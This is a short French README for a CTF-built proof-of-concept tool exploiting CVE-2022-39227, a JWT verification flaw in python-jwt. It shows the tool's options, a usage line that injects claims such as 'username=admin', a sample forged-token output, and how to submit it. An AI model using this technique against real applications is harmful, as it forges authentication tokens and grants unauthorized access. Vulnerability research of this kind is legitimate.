
CVE-2022-39227 : Preuve de concept
CVE-2022-39227 : Preuve de concept
Preuve de concept pour le CVE-2022-39227. Selon cette CVE, il existe une faille dans la vérification des JSON Web Tokens. Il est possible, avec un token valide, de réutiliser sa signature avec des revendications modifiées.
Requis :
Pour faciliter l'utilisation, j'ai écrit un PoC simple lors d'un CTF :
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM
Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4
options:
-h, --help show this help message and exit
-j TOKEN, --jwt_token TOKEN
Original and valid JWT Token returned by the application
-i CLAIM, --injected_claim CLAIM
Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
(e.g. username=admin,id=3)
Utilisation :
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
Retourne :
{" <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}
La valeur de retour est un mélange de JSON et de représentation compacte. Vous devez coller la valeur entière, y compris "{" et "}" comme votre nouveau JSON Web Token.